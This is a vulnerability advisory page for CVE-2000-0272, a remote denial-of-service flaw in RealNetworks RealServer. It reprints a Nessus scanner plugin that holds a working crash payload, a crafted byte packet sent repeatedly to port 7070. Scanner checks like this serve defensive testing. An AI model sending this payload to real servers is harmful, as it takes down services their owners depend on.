Vulnerabilities > CVE-2000-0272 - Unspecified vulnerability in Realnetworks Realserver

047910
CVSS 7.8 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
COMPLETE
network
low complexity
realnetworks
nessus
exploit available
NVD
Published: 2000-04-20
Updated: 2016-10-18

Summary

RealNetworks RealServer allows remote attackers to cause a denial of service by sending malformed input to the server at port 7070.

Vulnerable Configurations

Part Description Count
Application
Realnetworks
6

Exploit-Db

descriptionGameHouse dldisplay ActiveX control 0,Real Server 7.0 Port 7070 DoS. CVE-2000-0272 . Dos exploit for windows platform
idEDB-ID:19856
last seen2016-02-02
modified2000-04-20
published2000-04-20
reporterUssr Labs
sourcehttps://www.exploit-db.com/download/19856/
titleGameHouse dldisplay ActiveX control 0,Real Server 7.0 Port 7070 DoS

Nessus

NASL familyDenial of Service
NASL idREALSERVER_USSR_DOS.NASL
descriptionIt was possible to crash the remote RealServer by sending it a specially crafted packet.
last seen2020-06-01
modified2020-06-02
plugin id10377
published2000-04-22
reporterThis script is Copyright (C) 2000-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/10377
titleRealServer Port 7070 Malformed Input DoS
code
#
# (C) Tenable Network Security, Inc.
#

# Original exploit code : see http://www.ussrback.com
#


include("compat.inc");

if(description)
{
 script_id(10377);
 script_version ("1.25");
 script_cve_id("CVE-2000-0272");
 script_bugtraq_id(1128);
 
 script_name(english:"RealServer Port 7070 Malformed Input DoS");
 
 script_set_attribute(attribute:"synopsis", value:
"It is possible to crash the remote service." );
 script_set_attribute(attribute:"description", value:
"It was possible to crash the remote RealServer by sending 
it a specially crafted packet." );
 script_set_attribute(attribute:"solution", value:
"Upgrade to the most recent version of RealServer." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"see_also", value:"http://service.real.com/help/faq/servg270.html" );

 script_set_attribute(attribute:"plugin_publication_date", value: "2000/04/22");
 script_set_attribute(attribute:"vuln_publication_date", value: "2000/04/20");
 script_cvs_date("Date: 2018/07/25 18:58:03");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe",value:"cpe:/a:realnetworks:realserver");
script_end_attributes();

 
 script_summary(english:"crashes RealServer");
 script_category(ACT_DENIAL);	# ACT_FLOOD?
 script_copyright(english:"This script is Copyright (C) 2000-2018 Tenable Network Security, Inc.");
 script_family(english:"Denial of Service");
 script_require_ports(7070, "Services/realserver");
 script_dependencies("find_service1.nasl");
 exit(0);
}

include("global_settings.inc");
include("misc_func.inc");

function report(count, port)
{
 if(count)
   security_warning(port);
 exit(0);
} 

port = get_service(svc:"realserver", default: 7070, exit_on_fail: 1);

#
# Magic data made by USSR labs
#

die = raw_string(
80,78,65,0,10,0,20,0,2,0,1,0,4,0,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,
255,0,24,0,16,169,127,52,242,108,214,69,252,104,17,223,247,246,241,174,137,
0,0,95,29,67,196,99,0,41,87,105,110,57,5695,52,46,49,48,95,54,46,48,46,54,
46,52,53,95,112,108,117,115,51,50,95,77,80,54,48,95,101,115,45,65,82,95,53,
56,54,108,0,0,82,255,255,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,
48,48,48,48,48,48,48,48,48,48,48,121,13,10,0);


count = 0;

#
# Tests show that this bug is more effective 
# when done multiple times
#
for(i=0;i<20;i=i+1)
{
 soc = open_sock_tcp(port);
 if(soc)count = count + 1;
 else report(count:count, port:port);
 for(j=0;j<20;j=j+1)
 send(socket:soc, data:die);
 close(soc);
}

if (service_is_dead(port: port) > 0)
  security_warning(port);

References